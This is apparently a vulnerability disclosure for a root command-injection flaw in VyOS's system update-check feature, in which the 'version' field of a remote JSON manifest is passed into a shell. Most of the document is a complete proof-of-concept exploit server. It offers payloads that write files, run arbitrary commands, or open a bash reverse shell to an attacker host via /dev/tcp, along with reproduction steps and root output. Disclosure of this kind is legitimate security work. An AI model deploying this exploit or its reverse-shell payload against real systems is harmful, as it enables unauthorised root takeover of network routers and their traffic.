System update-check fetches an unsigned JSON manifest from a user-configured HTTP/HTTPS url and passes attacker-controlled field (version) directly into shell commands via call(), which auto-enable shell=True. Command substitution ($(...)) executes as root with no authentication:
vyos-1x/src/system/vyos-system-update-check.py:
call(f'wall -n "Update available: {remote_version} \nUpdate URL: {url}"')In the following example we use a short path of serving malicious version.json to vyos from controlled host, in general possible scenarios include mitm given http url is configured, vyos dns poisoning to direct update-check to malicious host.
To reproduce run attached script on a controlled host and commit system update-check on vyos side.
python3 server.py --port 8080 --payload-type file
vyos:
set system update-check auto-check set system update-check url http://10.200.0.2:8080/version.json
Injection created /tmp/vyos-rce-poc as root:
vyos@vyos# cat /tmp/vyos-rce-poc RCE_VIA_VERSION_FIELD uid=0(root) gid=0(root) groups=0(root)
Full code of server.py:
#!/usr/bin/env python3 """ VyOS update-check RCE PoC — Malicious HTTP server Exploits command injection in vyos-system-update-check.py line 62: call(f'wall -n "Update available: {remote_version} \\nUpdate URL: {url}"') call() -> popen() -> shell=True (string contains spaces) $(cmd) inside double-quoted string = command substitution Injection point: 'version' field in version.json The 'url' field is kept as a legitimate URL (urlparse() rejects bare $() payloads in the `add system image latest` path, so only the version field is reliable). Trigger: daemon polls immediately on service start, then every 12h. Runs as root (no User= in systemd unit). Restart=always retries on crash. Usage: python3 server.py [--port 8080] [--payload-type id|reverse|file|custom] On VyOS: set system update-check url http://<attacker-ip>:8080/version.json set system update-check auto-check commit """ import argparse import json from http.server import HTTPServer, BaseHTTPRequestHandler def payload_id(): """PoC: writes `id` output to /tmp/pwned""" return '$(id > /tmp/pwned)' def payload_reverse(host, port): """Reverse shell via bash""" return f'$(bash -c "bash -i >& /dev/tcp/{host}/{port} 0>&1")' def payload_file_write(): """Write proof file — safe for demos""" return '$(echo RCE_VIA_VERSION_FIELD > /tmp/vyos-rce-poc && id >> /tmp/vyos-rce-poc)' def payload_custom(cmd): return f'$({cmd})' def build_json(version_payload): """ Build version.json response. The daemon extracts: jmespath.search('[0].version', data) -> remote_version jmespath.search('[0].url', data) -> url Both end up in: call(f'wall -n "Update available: {remote_version} \\nUpdate URL: {url}"') Injection via 'version' field. The 'url' field is a normal URL so the response also works for `add system image latest` without raising errors. """ return json.dumps([{ "arch": "amd64", "flavors": ["generic"], "image": "vyos-rolling-latest.iso", "latest": True, "lts": False, "release_date": "2026-03-31", "release_train": "circinus", "url": "https://updates.example.com/vyos-rolling-latest.iso", "version": version_payload }]) class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f'\n[*] Request from {self.client_address[0]}: {self.path}') print(f'[*] User-Agent: {self.headers.get("User-Agent")}') body = build_json(self.server.version_payload).encode() self.send_response(200) self.send_header('Content-Type', 'application/json') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) print(f'[+] Served malicious version.json') print(f' version field: {self.server.version_payload}') def log_message(self, format, *args): pass def main(): parser = argparse.ArgumentParser(description='VyOS update-check RCE PoC server') parser.add_argument('--port', type=int, default=8080) parser.add_argument('--bind', default='0.0.0.0') parser.add_argument('--payload-type', choices=['id', 'reverse', 'file', 'custom'], default='file') parser.add_argument('--cmd', help='Custom command for --payload-type custom') parser.add_argument('--reverse-host', help='Reverse shell connect-back host') parser.add_argument('--reverse-port', type=int, default=4444, help='Reverse shell connect-back port') args = parser.parse_args() if args.payload_type == 'id': payload = payload_id() elif args.payload_type == 'reverse': if not args.reverse_host: parser.error('--reverse-host required for reverse payload') payload = payload_reverse(args.reverse_host, args.reverse_port) elif args.payload_type == 'file': payload = payload_file_write() elif args.payload_type == 'custom': if not args.cmd: parser.error('--cmd required for custom payload') payload = payload_custom(args.cmd) print(f'[*] VyOS update-check RCE PoC') print(f'[*] Listening on {args.bind}:{args.port}') print(f'[*] Payload type: {args.payload_type}') print(f'[*] version field: {payload}') print(f'[*] url field: https://updates.example.com/vyos-rolling-latest.iso (benign)') print(f'[*] Waiting for VyOS to poll...\n') server = HTTPServer((args.bind, args.port), Handler) server.version_payload = payload try: server.serve_forever() except KeyboardInterrupt: print('\n[*] Stopped') if __name__ == '__main__': main()